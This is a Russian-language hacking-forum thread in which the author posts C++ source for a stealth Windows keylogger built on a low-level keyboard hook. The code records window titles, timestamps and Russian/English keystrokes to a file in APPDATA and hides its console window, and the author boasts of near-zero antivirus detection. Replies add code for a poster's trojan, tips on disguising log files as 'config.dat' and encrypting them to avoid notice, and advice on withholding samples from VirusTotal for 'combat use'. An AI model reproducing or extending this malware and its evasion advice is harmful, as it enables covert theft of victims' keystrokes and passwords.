• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Локальный кейлоггер by X-Shar

Малварь как искусство Пишем кейлоггер Stealth Keylogger (100% FUD) Finall_Fix

Нет прав для скачивания

elfear

Пользователь
Форумчанин
Регистрация
20.10.2017
Сообщения
2
Уж больно "костыльная" поддержка русского...
Нашёл в нете аналогичный код... Добавил поддержку языков так:

HWND curWindow=GetForegroundWindow();
if (curWindow != hWindow)
{
hWindow = curWindow;
GetClassName(curWindow,ClassName,64);

GetDateFormat(NULL,NULL,NULL,"dd-MM-yy",log_date,16);
GetTimeFormat(NULL,NULL,NULL,"hh:mm:ss",log_time,16);

hTread=GetWindowThreadProcessId(curWindow,&lpid);
...
...

pkb = (PKBDLLHOOKSTRUCT) (lParam); //used to get the vkCode
DWORD vkCode = pkb->vkCode;

BYTE lpKeyboardState[256];
memset(lpKeyboardState,0,sizeof(lpKeyboardState));
GetKeyboardState(lpKeyboardState);


HKL hklLayout = GetKeyboardLayout(hTread);

if (ToAsciiEx(vkCode,pkb->scanCode,lpKeyboardState,(LPWORD)keyNameBuff,0,hklLayout) == NULL)
{
DWORD scan = pkb->scanCode;

scan <<= 16;
scan |= 0x1 << 24; // <- extended bit

GetKeyNameTextA(scan,keyNameBuff,sizeof(keyNameBuff));
}


+ Вопросец нарисовался.
Пишу кейлоггер для своего троянчика и хочу гденибудь хранить файлы с логами. Может кто подскажет места? Где лучше всего? Ну ведь не в temp же? ) Он у некоторых может и очищаться...
 
Последнее редактирование:

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
GetKeyNameTextA(scan,keyNameBuff,sizeof(keyNameBuff));
GetKeyNameTextA криво работает, поэтому делал минуя этот апи. :)

Куда прятать логи ?

Да банально в папку пользователя, можно и в темп, вряд-ли кто-то будет монеторить его, так-же как и папку локального пользователя, обозвать файл например "config.dat".:)

Можно шифровать логи для уменьшения палева. :)
 

elfear

Пользователь
Форумчанин
Регистрация
20.10.2017
Сообщения
2
GetKeyNameTextA криво работает, поэтому делал минуя этот апи. :)
В моём коде он и не попадает на GetKeyNameTextA...это для подстраховки...

Куда прятать логи ?

Да банально в папку пользователя, можно и в темп, вряд-ли кто-то будет монеторить его, так-же как и папку локального пользователя, обозвать файл например "config.dat".:)

Можно шифровать логи для уменьшения палева. :)
Спасибо за ответ. Может и пересмотрю своё мнение по поводу temp!

А чем лучше шифровать? xor каждого символа? От дурака конечно покатит...
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
Посмотреть вложение 59064



Привет всем !

Идея написания кейлоггера у меня появилась давно, в начале я писал на ассемблере, но не доделал до конца, получилось что он очень глючил, но т.к. работы было много, а комерсом я не занимаюсь, стимул быстро пропал...

Шло время, я про эту тематику как-то забил, пока мне не попалась на глаза статья, атаки на банковскую систему, при помощи простенького кейлогера и вполне легальной программы, вероятно для пересылки логов и обхода файерволов...

Мне стало интересно, а как сложно "Программисту средней руки", к коим я себя отношу написать простенький кейлогер, как он будет палится аверами и сколько времени на это потребуется !

Идея создания такой темы/раздела появилась уже потом, когда я почти закончил этот кейлоггер.

Но обо всём попарядку, итак ответы на вопросы моего мини-исследования:

1. На момент написания статьи кейлоггер обнаруживает какой-то Endgame, и-то если поиграть с Relise/Debug и настройками компилирования, детекты пропадают;

2. Кейлогер отлично работает с UAC, практически не палит себя, т.е. вы никак не поймёте, что ваши клавиши пишутся в лог.

3. Антивирусы никак не реагируют, т.е. считают что так и надо. Dmeh-Smeh-Smeh!!!

4.Сколько-же время на это ушло ?

Около 5-ти часов, но это нужно учитывать, что опыта работы в студии у меня нет, пришлось разбираться с кодировкой символов, хуками и т.д. Больше гемора с кодировкой конечно было...i'm crazyОтдыхай!!!

Итак перейдём к основной части этой статьи:

1.Постановка задачи:

Написать кейлоггер локального действия, который может отслеживать нажатия клавиш и записывать их в лог, также нужно в логе указать дату нажатия и окно приложения где было нажата клавиша, кейлогер должен работать с русской и английской раскладкой. Также кейлогер должен работать с ограниченными правами в системе и никак не выдавать себя, пример лога:

Безымянный — Блокнот: English: M: Fri May 12 20:38:39 2017
Безымянный — Блокнот: English: ,: Fri May 12 20:38:41 2017


Безымянный — Блокнот: Russian: : [CAPS]: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : Р: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : И: Fri May 12 20:38:48 2017
Безымянный — Блокнот: Russian: : е: Fri May 12 20:38:50 2017


2.Основная идея написания таких программ:

Не важно на чём вы хотите писать, основная идея, это поставить hook, если по простому, то это "ловушка" для клавиатуры, смысл в том-что при нажатии пользователем на клавишу, ваша программа будет выполнять вашу функцию (подпрограмму), где вы можете уже определить нажатую клавишу, записать её в лог и т.д.

В виндовсе есть SetWindowsHookEx, которая устанавливает определяемую программой процедуру фильтра (hook) в цепочку фильтров (hook). Вы должны установить процедуру фильтра (hook) для того, чтобы контролировать в системе определенного рода типы событий. Эти события связаны или с конкретным потоком или со всеми потоками одного и того же рабочего стола, что и вызывающий поток.

Обратите внимание на последнее предложения, благодаря этого свойства, мы можем отследить все нажатия клавиш, в других приложений.

Как это сделать, пример:

Код:
int main(int argc, _TCHAR* argv[])
{
     keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,
        hookProc, hInstance, 0);

    msgLoop();
    return 0;
}

hookProc - Это наша подпрограмма (Которая будет вызываться после нажатия пользователем на клавишу), которую мы позже напишем.

msgLoop() - Тоже очень важная вещь, там цикл, если по простому то программа зациклица и будет постоянно вызывать hookProc когда пользователь нажмёт на клавишу, вот её код:

Код:
void msgLoop()
{
    while (GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
}

Функция GetMessage извлекает сообщение из очереди сообщений вызывающего потока и помещает его в заданную структуру. Эта функция регулирует поступление отправленных сообщений до тех пор, пока помещенное в очередь сообщение доступно для извлечения.

Функция TranslateMessage переводит сообщения виртуальных клавиш в символьные сообщения.

Функция DispatchMessage распределяет сообщение оконной процедуре. Она используется, чтобы доставить сообщение, извлеченное функцией GetMessage.

Теперь приступим к написанию нашей основной функции (подпрограммы), которая вызовится, после нажатия на кнопку пользователем:

Код:
LRESULT CALLBACK hookProc(int nCode,

    WPARAM wParam, LPARAM lParam)
{
    if (wParam == WM_KEYDOWN)
    {

        HKL Lang_Keyboard;
        GetActiveKb (Lang_Keyboard); //Получение текущей раскладки. 
        int CodeKeyboard = (int) Lang_Keyboard;

        p = (PKBDLLHOOKSTRUCT)(lParam);
        sc = MapVirtualKey(p->vkCode, 0);
        sc <<= 16;

        if (!(p->vkCode <= 32))
        {
            sc |= 0x1 << 24;
        }

        GetKeyNameTextA(sc, keyNameBuff, 16);

        myKey = keyNameBuff;
        if (myKey == "Space") {
            writeToLog("[SPACE]");
        }
        else if (myKey == "Right Alt") {
            writeToLog("[R ALT]");
        }
        else if (myKey == "Enter") {
            writeToLog("[ENTER]");
        }
        else if (myKey == "Left Alt") {
            writeToLog("[L ALT]");
        }
        else if (myKey == "Tab") {
            writeToLog("[TAB]");
        }
        else if (myKey == "Backspace") {
            writeToLog("[Backspace]");
        }
        else if (myKey == "Caps Lock") {
            writeToLog("[CAPS]");
        }
        else if (myKey == "Delete") {
            writeToLog("[DEL]");
        }
        else if (myKey == "Right Shift") {
            writeToLog("[R SHIFT]");
        }
        else if (myKey == "Shift") {
            writeToLog("[L SHIFT]");
        }
        else if (myKey == "Ctrl") {
            writeToLog("[L CTRL]");
        }
        else if (myKey == "Right Ctrl") {
            writeToLog("[R CTRL]");
        }
        else {

            if (CodeKeyboard == 0x4190419) { //Русская раскладка
               //*************************************************************************************************
                if (isCaps() == 1) {

                    myKey = GetSymbolRu (myKey);

                    writeToLog(myKey);
                }
                else {
                    std::transform(myKey.begin(), myKey.end(),
                        myKey.begin(), ::tolower);


                    myKey = GetSymbolRu (myKey);

                    writeToLog(myKey);
                }
                //*************************************************************************************************
            } else
            {
                if (isCaps() == 1) {
                    writeToLog(myKey);
                }
                else {
                    std::transform(myKey.begin(), myKey.end(),
                        myKey.begin(), ::tolower);
                    writeToLog(myKey);
                }
            }
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

Расскажу идею, саму программу можете посмотреть во вложении:

1.Начнём с прототипа нашей подпрограммы:

LRESULT CALLBACK hookProc(int nCode, WPARAM wParam, LPARAM lParam)

wParam - Определяет нажата-ли клавиша, поэтому перед тем как что-то делать, мы проверяем нажата-ли клавиша так:
Код:
if (wParam == WM_KEYDOWN)

2. Далее прям по пунктам что нужно сделать:

2.1. Получить раскладку клавиатуры;
2.2. Получить виртуальный код клавиатуры, по нему мы сможем уже определить что конкретно нажал пользователь;
2.3. Ну в общем получить наш символ.

Всё выше названное делает этот код:
Код:
HKL Lang_Keyboard;

        GetActiveKb (Lang_Keyboard); //Получение текущей раскладки. 
        int CodeKeyboard = (int) Lang_Keyboard;

        p = (PKBDLLHOOKSTRUCT)(lParam);
        sc = MapVirtualKey(p->vkCode, 0);
        sc <<= 16;

        if (!(p->vkCode <= 32))
        {
            sc |= 0x1 << 24;
        }

        GetKeyNameTextA(sc, keyNameBuff, 16);

GetKeyNameTextA - Поместит название клавиши в буфер keyNameBuff.

Имя программы, с которой работает пользователь, можно получить так:
Код:
GetWindowTextA(hwnd, title, 100);

GetWindowTextA(hwnd, ntitle, 100); ///pars

Время так:
Код:
// Gettime
time_t seconds = time(NULL);
tm* timeinfo = localtime(&seconds);

Далее мы можем уже записать это в лог, примерно так:
Код:
ofstream log(logName, ios::app);
log << title;
log << ": English";
log << ": " << s;
log << ": " << asctime(timeinfo) << endl;

logName - Путь куда будет писаться файл логов, я использую стандартный вывод в поток ofstream, писаться может например в AppData (Туда и пишет), получить путь примерно так:
Код:
strcpy(logName, getenv("APPDATA")); // Get APPDATA folder
strcat(logName, "log.log");

НО ЭТО ЕЩЁ НЕ ВСЁ, ТЕПЕРЬ САМОЕ ИНТЕРЕСНОЕ, А ИМЕННО GetKeyNameTextA - РАБОТАЕТ ТОЛЬКО С СИМВОЛАМИ ЛАТИНСКОЙ РАСКЛАДКИ, КАК-ЖЕ СДЕЛАТЬ ПОДДЕРЖКУ КИРИЛИЦЫ ?

Можно сделать следующий костыль, просто сопоставить кирилицу и латиницу, примерно так:
Код:
string _eng = "1234567890~!@#$%^&qwertyuiop[]asdfghjkl;'zxcvbnm,./QWERTYUIOP[]ASDFGHJKL:\"|ZXCVBNM<>?";

char _rus [256] = "1234567890ё!\"№;%:?йцукенгшщзхъфывапролджэячсмитьбю.ЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭ/ЯЧСМИТЬБЮ,";

Номер символа строки _eng соответствует номеру символа _rus, следовательно если мы найдём номер символа _eng, то определим и _rus, тем самым у нас будет кирилица, как это реализовать на примере:
Код:
string GetSymbolRu (string Key)

{

    int Number = 0;
    string Rezult;

    Number = _eng.find(Key);

    if (Number != -1)
    {
        char * tmp = new char [256]; // инициализируем дополнительный массив
        CharToOemA(_rus88, tmp); // преобразовываем

        delete [] tmp; // удаляем дополнительный массив


        Rezult = Rezult + _rus88[Number];

        return Rezult;  // Присвоили результат
    } else {

        return Key;
    }
}

Итак, находим номер в _eng (Number = _eng.find(Key);), далее по этому номеру уже можем получить символ в кирилице...:)

НО ПАРА МОМЕНТОВ:

Си в принципе не дружит с кирилицей, а Visual Studio особенно, поэтому что-бы всё было чётенько, ещё один кастыльчик от меня:
Код:
 char * tmp = new char [256]; // инициализируем дополнительный массив
        CharToOemA(_rus88, tmp); // преобразовываем
        delete [] tmp; // удаляем дополнительный массив
Преобразовываем строку с кирилицей, для этого выделяем буфер в памяти и юзаем CharToOemA(_rus88, tmp);, всё теперь наша строка будет нормально писаться в файл и выводится на консоль, не забывайте удалить из памяти delete [] tmp; потом...:)

Ну в общем-то и всё, далее просто в зависимости от раскладки делаете нужный вывод в файл:

Код:
if (CodeKeyboard == 0x4190419) { //Russia
log << title;
log << ": Russian";
log << ": " << ReplaceResult(s);
log << ":^^^ " << s;
log << ": " << asctime(timeinfo) << endl;
}
else if (CodeKeyboard == 0x4090409 ) { //Eng
log << title;
log << ": English";
log << ": " << s;
log << ": " << asctime(timeinfo) << endl;
}

Ну нужно конечно ещё будет определить доп. клавиши, такие как пробел, ентер и т.д., примерно так:
Код:
if (myKey == "Space") {
           writeToLog("[SPACE]");
       }
       else if (myKey == "Right Alt") {
           writeToLog("[R ALT]");
       }
       else if (myKey == "Enter") {
           writeToLog("[ENTER]");
       }
       else if (myKey == "Left Alt") {
           writeToLog("[L ALT]");
       }
       else if (myKey == "Tab") {
           writeToLog("[TAB]");
       }
       else if (myKey == "Backspace") {
           writeToLog("[Backspace]");
       }
       else if (myKey == "Caps Lock") {
           writeToLog("[CAPS]");
       }
       else if (myKey == "Delete") {
           writeToLog("[DEL]");
       }
       else if (myKey == "Right Shift") {
           writeToLog("[R SHIFT]");
       }
       else if (myKey == "Shift") {
           writeToLog("[L SHIFT]");
       }
       else if (myKey == "Ctrl") {
           writeToLog("[L CTRL]");
       }
       else if (myKey == "Right Ctrl") {
           writeToLog("[R CTRL]");

Вроде всё основное, исходник есть во вложении, должно-быть понятно думаю...:)

Ах-да чуть не забыл:

1. Запуск налюбом компе в Visual Studio 2010 (Увеличит размер бинарника, но лучше сделать):

(Проэкт) -> (Свойства) -> (Свойства конфигурации) -> (С/С++) -> (Создание Кода) -> (Библиотека временного выполнения) -> (Многопоточная /МТ) и далее "ОК";


(Project) -> (Properties) -> (C/C++) -> (Code Generation) -> (Runtime Library) -> (Multi-threaded(/MT)) -> Ok


2. Я использовал консольный проект, так легче дебажить, поэтому ещё:

Как убрать консоль:

Жмем Project => Properties (или Alt+F7).

Затем Linker => Advanced и вбиваем в Entery Point следующее: mainCRTStartup.

1a716c.png

Рисунок 1. Настройка проекта в Visual Studio для отключения консольного окна - установка точки входа.

Linker => System меняем SubSystem на Windows (/SUBSYSTEM:WINDOWS).
50a9a7.png

Рисунок 2. Настройка проекта в Visual Studio для отключения консольного окна.

Все и всё. Теперь собираем проект и запускаем. Консольное окно должно исчесзнуть.

Задавайте вопросы.

И ещё что во вложении:

Sorec.rar - Просто голые сорцы (Там их два), для копипасты и анализа.

KeyLogger_exe.rar - Для теста бинарник (пароль 111).

KeyLogger.rar - Проект Visual Studio

ЕЩЁ ПАРА ВОПРОСОВ ПО КЕЙЛОГЕРУ:

1)Нужно-ли его развивать, сейчас там вот-что:

- Поддержка латиницы/кирилицы, но не всех символов, если решу развивать, это поправлю;

- В логи пишется небольшой мусор (Не нужно учитывать клавиши, которые помечены символом "/"), это можно убрать.

- Можно добавить поддержку скриншётера.

2) В общем отпишитесь, нужно-ли развивать далее это, кстати Relise залили на VT, но это не страшно и специально, можно потом продолжить по обходу детекта поработать и как и через колько будет-ли детект у других.Dmeh-Smeh-Smeh!!!

УБЕДИТЕЛЬНАЯ ПРОСЬБА, ЕСЛИ ВОЗМОЖНО ОТПИШИТЕСЬ, ЕСЛИ СМЫСЛ ДАЛЬШЕ СОЗДАВАТЬ ПОДОБНЫЕ ТЕМЫ И РАЗВИВАТЬ ПОДОБНЫЕ ПРОДУКТЫ ТУТ ! :)
с успешным начинанием. жаль конечно что ты залил свой код на вирустотал, ну да ладно. понимаю так что практических умений в хаке автор не имел. ну ничего всегда в самом начале тяжко.
 

virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
с успешным начинанием. жаль конечно что ты залил свой код на вирустотал, ну да ладно. понимаю так что практических умений в хаке автор не имел. ну ничего всегда в самом начале тяжко.
Для боевого применения такое-себе решение, можно использовать как каркас для разработки более серьезного продукта, а-так особого смысла нет.

Про вирустотал, если вирус не распространять, то можно заливать, его детектить никто не будет, АВ смысла особого нет всякий хлам в базы добавлять...

Если для распространения, то конечно лучше не лить.)))
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
Для боевого применения такое-себе решение, можно использовать как каркас для разработки более серьезного продукта, а-так особого смысла нет.

Про вирустотал, если вирус не распространять, то можно заливать, его детектить никто не будет, АВ смысла особого нет всякий хлам в базы добавлять...

Если для распространения, то конечно лучше не лить.)))
там предоставляют api для организаций типа аваста, каспера и так далее. если малварь с одним детектом - то сразу отсылается хантерам и ее потрашат. работа у пидоров такая.
 

virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
там предоставляют api для организаций типа аваста, каспера и так далее. если малварь с одним детектом - то сразу отсылается хантерам и ее потрашат. работа у пидоров такая.
Это понятно, просто на VT мусора много, от многих факторов зависит, к хантерам попадает при определенных условиях...

Вот например этой теме уже почти два года, а детекта нетак много:

Поэтому я и говорю, если просто проверить детект, то можно и на VT, а если для боевого применения, то конечно лучше не лить...)))
 

EH20

Пользователь
Форумчанин
Регистрация
28.12.2018
Сообщения
22
Репутация
2
Это понятно, просто на VT мусора много, от многих факторов зависит, к хантерам попадает при определенных условиях...

Вот например этой теме уже почти два года, а детекта нетак много:

Поэтому я и говорю, если просто проверить детект, то можно и на VT, а если для боевого применения, то конечно лучше не лить...)))
я по боевому применению сужу всегда:)
 
Верх Низ